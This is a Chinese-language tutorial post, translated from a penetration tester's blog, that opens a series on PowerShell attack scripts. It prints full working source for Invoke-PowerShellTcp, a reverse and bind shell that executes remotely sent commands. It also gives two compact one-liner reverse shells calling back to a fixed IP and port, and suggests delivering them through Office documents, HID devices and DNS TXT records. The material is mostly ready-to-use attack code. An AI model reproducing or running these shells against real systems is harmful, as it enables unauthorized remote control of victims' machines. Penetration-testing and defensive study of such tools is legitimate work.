PowerShell作为渗透测试人员的常用工具这里在无需过多介绍。随着Windows系统的紧密集成,这就允许我们做各种有趣的事情,其他使用PowerShell的黑客和我都花了很多时间在PowerShell编程上面。

但在我的讲座和培训期间,我发现很多的黑客和防御者都不知道PowerShell能做什么以及PowerShell是多么的方便。同时我也遇到了很多同行对PowerShell不屑一顾,只因为其来自于微软。为了在业内培养和传播PowerShell,我决定开始一周PowerShell脚本的教程。

第一天 - TCP交互式PowerShell脚本
第二天 - UDP交互式PowerShell脚本 
第三天 - HTTP/HTTPS交互式PowerShell脚本 
第四天 - WMI交互式PowerShell脚本 
第五天 - ICMP和DNS交互式PowerShell脚本

不多说,开始第一天的课程吧。

第一天:TCP交互式PowerShell脚本

让我们从一个反向shell开始。这个极棒的脚本是由Ben Turner(@benpturner)和Dave Hardy(@davehardy20)提交的。具体如何通过metasploit来使用这段脚本他们的文章有具体描述。在去除那段脚本中一些代码并修改其他若干东西后,就是我所提供的Invoke-PowerShellTcp。这个脚本可以提供主动或者被动连接的PowerShell。当前源码如下(不包含帮助文档):

function Invoke-PowerShellTcp 
{ 

    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    #Connect back if the reverse switch is used.
    if ($Reverse)
    {
        $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
    }

    #Bind to the provided port if Bind switch is used.
    if ($Bind)
    {
        $listener = [System.Net.Sockets.TcpListener]$Port
        $listener.start()    
        $client = $listener.AcceptTcpClient()
    } 

    $stream = $client.GetStream()
    [byte[]]$bytes = 0..255|%{0}

    #Send back current username and computername
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    #Show an interactive PowerShell prompt
    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding        $data = $EncodedText.GetString($bytes,0, $i)

        #Execute the command on the target.
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        #Return the results
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()  
    }
    $client.Close()
    $listener.Stop()}

你可以在Nishang的Shells目录下找到:https://github.com/samratashok/nishang/tree/master/Shells

下面截图展示在Kali Linux上面运行一个监听:

在Windows的机器上同样可以运行一个监听,使用powercat即可:

使用Invoke-PowerShellTcp进行主动连接:

使用交互式PowerShell可以在很多场合下帮助我们解决问题。一个很好的例子就是,在Windows8.1和Server 2012上面获取用户明文密码。这种情况下,我们必须要使用交互式的PowerShell。

注意,我们同样可以使用powercat。

具体选择使用哪个监听取决于你的情况。

如果你有仔细看过Invoke-PowerShellTcp的源码,你会发现源码还算比较短的,因此可以配合其他多种攻击技术使用,例如:配合微软MS Office文档、个性化界面设备(参见Kautilya)、需要下载的设备和DNS TXT记录等使用。在这些场景中使用一个短小的脚本都是不错的选择。事实上,如果去除错误处理以及格式化的用户输入代码,它还能变的更短。就是下面这段Invoke-PowerShellTcpOneLine:

$client = New-Object System.Net.Sockets.TCPClient("192.168.254.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

如果不需要显示输出,那么脚本还可以更短,差不多跟两条微博一样长:

#$sm=(New-Object Net.Sockets.TCPClient("192.168.254.1",55555)).GetStream();[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

下面我录制了一个视频,演示Invoke-PowerShellTcp是如何配合微软MS Office文档使用的:

*原文:labofapenetrationtesterxiaix编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...